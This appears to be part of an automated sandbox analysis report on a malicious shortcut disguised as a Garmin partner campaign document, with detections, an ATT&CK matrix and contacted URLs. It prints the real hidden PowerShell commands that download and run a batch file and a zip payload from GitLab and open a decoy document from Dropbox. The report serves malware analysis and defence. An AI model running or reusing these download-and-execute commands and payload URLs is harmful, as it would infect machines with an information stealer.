Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6824	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep count: 4157 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7348	Thread sleep count: 2269 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7472	Thread sleep count: 5153 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep count: 4532 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7516	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2632	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000011.00000002.2267996581.000001DCD8CD5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3408266920.000001A5D5013000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.3416384863.000002086322B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001C.00000002.3418973422.0000020868854000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_2356.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7424.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2356, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$h='https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat'; $p=$env:TEMP+'\Updates.bat'; iwr $h -OutFile $p;start $p"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\Updates.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\AppData\Local\Temp\Updates.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V4.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/garmin_campaign_information_for_partners_v4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v4.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewga1112de.zip', 'c:\users\public\document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/garmin_campaign_information_for_partners_v4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v4.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/stare2/garmin/-/raw/main/fuknewga1112de.zip', 'c:\users\public\document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Braodo

Source: Yara match	File source: amsi64_7424.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR

Remote Access Functionality

Yara detected Braodo

Source: Yara match	File source: amsi64_7424.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7424, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	111 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	17%	ReversingLabs	Script-BAT.Downloader.Heuristic
1_Garmin_Campaign Information for Partners(12-10).docx.lnk.download.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com/cd/0/get/CgF0BluLfGxRXMIZ5YnW1OUhQV4A	0%	Avira URL Cloud	safe
http://uc322a227a00e76211984e262257.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://uc322a227a00e76211984e262257.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gitlab.com	172.65.251.78	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
uc322a227a00e76211984e262257.dl.dropboxusercontent.com	unknown	unknown	false	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://www.dropbox.com/scl/fi/r35bmmcqt1un1a6z77ynj/Garmin_Campaign_Information_for_Partners_V4.docx?rlkey=1e23z5j4qkvhy02q9ysayo83d&st=e10hhx5q&dl=1	false	high
https://gitlab.com/stare2/garmin/-/raw/main/fuknewGa1112De.zip	false	high
https://gitlab.com/stare2/garmin/-/raw/main/nbavdfasfGarminde.bat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://gitlab.com	powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/service_worker.js	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/;	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.dropbox.com	powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000015.00000002.3399566735.000001A5CCF74000.00000004.00000800.00020000.00000000.sdmp	false		high
https://snowplow.trx.gitlab.net	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/page_success/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com	powershell.exe, 00000015.00000002.3347042587.000001A5BD9F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE405000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.3347042587.000001A5BE3DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 00000011.00000002.2250355876.000001DCC2024000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2029000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2250355876.000001DCC2004000.00000004.00000800.00020000.00000000.sdmp	false		high
